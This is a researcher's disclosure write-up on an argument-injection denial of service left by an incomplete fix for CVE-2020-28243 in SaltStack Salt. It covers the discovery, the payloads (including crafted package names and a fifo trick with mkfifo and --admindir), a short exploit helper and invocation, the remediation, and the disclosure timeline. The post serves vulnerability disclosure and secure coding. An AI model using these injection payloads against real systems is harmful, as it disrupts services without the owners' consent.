CVE-2020-28243 (2) SaltStack Minion Denial of Service via Argument Injection

Note: This post builds upon an exploit from previous post here, that may be useful to read first.

tldr;

Recently I disclosed a local privilege escalation, CVE-2020-28243, in SaltStack's Salt via specially crafted process names. However, due to an incomplete fix, argument injection leading to a low impact denial of service is still possible.

Affected Versions: All versions between 2016.3.0rc2 and 3002.5
CVSS Score: 2.8 Low
Announcement: SaltStack
Links: Mitre, NVD
Proof of Concept: CVE-2020-28243

As with the previous post, this is going to be quite a long read, so I've added links to the specific sections you might be interested in:

• the discovery - how did I find it?
• the vulnerability - why does it work?
• the exploit - how can I exploit it?
• the fix - how should SaltStack have fixed it?
• the timeline - how long did this all take?

Discovery

After SaltStack released the security fix for CVE-2020-28243, I looked at the diff to see how they had sanitized the package names to prevent command injection:

At first glance, this all looks good with the following changes:

• shell=True is removed, this will prevent command chaining or redirection using a control character like >, ||, &&, ; etc...
• shlex, a command shell sanitizing library, is added in to attempt to sanitize the command

Vulnerability

However, the developer that added this fix has made an error with their usage of shlex that does not adequately protect again all types of injection. This is quite interesting, so let's create an example script and have a play:

import subprocess
import shlex

cmd_pkg_query = "dpkg-query -l "
package = "attacker controlled payload"

print(package)

cmd = cmd_pkg_query + package
cmd = shlex.split(cmd)

# Final command (as an array)
print(cmd)

# Run the command and print the output
paths = subprocess.Popen(cmd, stdout=subprocess.PIPE)
for line in paths.stdout.readlines():
  print(paths.stdout.readline())

Let's test this script with some payloads to see what the final command becomes. If we create the command with expect input, which is a legitimate package name, such as dpkg:

dpkg
['dpkg-query', '-l', 'dpkg']
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version       Architecture Description
+++-==============-=============-============-=================================
ii  dpkg           1.20.5ubuntu2 amd64        Debian package management system

Let's try with a command injection that worked previously, using control chars to execute new commands:

dpkg || whoami
['dpkg-query', '-l', 'dpkg', '||', 'whoami']
dpkg-query: no packages found matching ||
dpkg-query: no packages found matching whoami
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version       Architecture Description
+++-==============-=============-============-=================================
ii  dpkg           1.20.5ubuntu2 amd64        Debian package management system

Unfortunately this will no longer work because of the removal of shell=True causing the || to be interpreted as a string.

But what happens if the package name contains spaces?

dpkg but with extra hams
['dpkg-query', '-l', 'dpkg', 'but', 'with', 'extra', 'hams']
dpkg-query: no packages found matching but
dpkg-query: no packages found matching with
dpkg-query: no packages found matching extra
dpkg-query: no packages found matching hams
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version       Architecture Description
+++-==============-=============-============-=================================
ii  dpkg           1.20.5ubuntu2 amd64        Debian package management system

Each space added to the variable we control results in an additional argument to dpkg-query rather than the package being passed as a single argument. This is probably an oversight by the developer who implemented the shlex.split fix as package names typically do not contain spaces.

You might be looking at this and thinking, so what? where's the vuln?

Well this can be used to perform argument injection into the dkpg-query command by inserting additional arguments that will be interpreted as options. For example, we could add the --load-avail and --no-pager to list all of the packages on a system.

"--load-avail --no-pager"
['dpkg-query', '-l', '--load-avail', '--no-pager']
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                                             Version                                              Architecture Description
+++-================================================-====================================================-============-=======================================================================================================================
ii  accountsservice                                  0.6.55-0ubuntu13.3pop0                               amd64        query and manipulate user account information
...
[ truncated ~3000 lines]
...
ii  zsh-common                                       5.8-5                                                all          architecture independent files for Zsh

Now we've managed to find something that will change the expected output of a single line to about 3000 lines, this will probably slow down SaltStack but not much else, let's see if we can do something better.

Argument Injection

As a quick aside lets talk about argument injection, this is an advanced form of command injection. Typical command injection can fail if subshells or redirection are blocked however argument injection may still work under the same conditions and even when sanitization occurs.

A successful argument injection relies upon the command in use having an argument that can be exploited in order to do something interesting. A typical use for command injection is abusing poorly written sudoers rules.

gtfobins is my go-to resource for easily finding out how to find potential command injections in common commands. Otherwise inspecting help messages and digging through man pages can be useful.

Exploit

Unfortunately, none of the arguments for either of the three command used by this module: dpkg, repoquery, or opkg appear to be useable to achieve command execution or even file write. If you can think of a way, I'd love to hear it, please get in touch!

But, there are several ways we can create a denial of service for each of them by forcing them to read from a file that we control.

fifo files

A First-In, First-Out (fifo) file is a special file in unix that once created must be opened at both ends simulatenously (read + write) to operate on it. These files can be created using the mkfifo command.

This means that anything trying to read a fifo file will hang until something opens it for writing. We can use this special file to cause a denial of service by getting a program to attempt to read from it.

Payloads

We can now combine the use of fifo files with argument injection for each of the three platforms. This results in payloads that will cause the package listing commands hang indefinitely.

mkfifo /tmp/status
dpkg-query -l --admindir=tmp

When the admindir is set dpkg-query will use a different directory and this attempts to read from a status file. As we are holding this file open with a fifo file it will cause the hang.

This can be done in a similar manner for both repoquery and opkg:

mkfifo /tmp/status
repoquery -l -c /tmp/status

mkfifo /tmp/status
opkg files -f /tmp/status

However, the exploit we are using will not allow for forward slashes (/) so we will target only the dpkg-query command.

Exploit Script

We can reuse the exploit developed for the previous CVE. We have our helper.c program:

#include <stdio.h>
#include <stdlib.h>

void main() {
   FILE * fp;
   fp = fopen (" (deleted)", "w+");
   fprintf(fp, "SaltStack Argument Injection V2 Electric Bugaloo");
   sleep(20000);
   fclose(fp);
}

And the only bit that needs changing in the shell script is to add the creation of the fifo file before running our exploit script:

mkfifo /tmp/status
./exploit.sh -w /var/crash -c ' --admindir=tmp'

When the restartcheck is triggered by the master it will hang. Note that both the master and minion are not impacted by this denial of service, only the process calling the restartcheck.

Remediation

The solution SaltStack implemented avoids the need to use shlex to escape the command string as it builds an array that is passed to popen. This ensures that the package name can only ever be a single argument as spaces and quotes will be escaped automatically.

cmd = cmd_pkg_query[:]
cmd.append(package)
paths = subprocess.Popen(cmd, stdout=subprocess.PIPE)

This will protect against argument splitting and make most attacks unfeasible. SaltStack shared this solution before releasing the bugfix for approval. However, it still isn't quite perfect as we can still provide a single argument that could cause a denial of service:

--admindir=/tmp

There's one more thing we need to do to harden the fix:

End of Arguments

In many POSIX compatible commands -- indicates the end of options and all arguments that follow are positional only.

command -f -v -- -q --test

In the example above -f and -v would be passed as options but -q and --test would be passed as literal strings even though they begin with -.

We can use this to help further sanitize the commands by updating the cmd_pkg_query's so that it is impossible to provide any arguments after those already specified.

# Debian
cmd_pkg_query = ['dpkg-query', '--listfiles',  '--']

# RedHat
cmd_pkg_query = ['repoquery', '-l', '--']

# NILinuxRT
cmd_pkg_query = ['opkg', 'files', '--']

Together these two fixes will protect against both command and argument injection.

Timeline

Once again, SaltStack were professional and responded very fast. As this exploit's impact was minimal, we decided not to obtain a new CVE for this vulnerability, and SaltStack would release a bugfix to the current update. The whole timeline for discovery and disclosure can be seen below:

26 Feb 2021 — Vulnerability discovered
28 Feb 2021 — SaltStack notified
28 Feb 2021 — SaltStack confirmed and plan to release bugfix
23 Mar 2021 — Bug fix released

Summary

Application security is hard. This vulnerability has highlighted just how easy it is for developers to make mistakes when implementing security fixes.

Sean pointed out that if SaltStack had used coordinated disclosure from the start, then this would have been picked up before going live. To SaltStack's credit, they did this the second time around, which led to additional hardening.